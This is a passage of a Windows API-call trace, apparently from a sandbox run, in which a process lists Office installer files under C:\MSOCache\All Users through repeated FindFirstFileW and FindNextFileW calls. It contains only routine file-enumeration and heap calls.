ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0054.008] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0054.008] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.008] GetProcessHeap () returned 0x730000 [0054.008] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb3898 | out: hHeap=0x730000) returned 1 [0054.008] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0054.008] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0054.008] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.008] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.008] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.009] GetProcessHeap () returned 0x730000 [0054.009] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.009] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0054.009] GetProcessHeap () returned 0x730000 [0054.009] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.080] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0054.080] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.081] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.081] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.082] GetProcessHeap () returned 0x730000 [0054.082] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.082] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0054.082] GetProcessHeap () returned 0x730000 [0054.082] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.108] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.108] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0054.108] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0054.108] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0054.108] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.108] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.108] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.109] GetProcessHeap () returned 0x730000 [0054.109] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.109] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0054.109] GetProcessHeap () returned 0x730000 [0054.109] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.110] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0054.110] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.110] GetProcessHeap () returned 0x730000 [0054.110] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.110] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0054.110] GetProcessHeap () returned 0x730000 [0054.110] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.681] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.681] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0054.681] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0054.681] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0054.681] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.681] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.681] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.682] GetProcessHeap () returned 0x730000 [0054.682] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.682] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0054.682] GetProcessHeap () returned 0x730000 [0054.682] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.683] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.683] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0054.683] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0054.683] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: 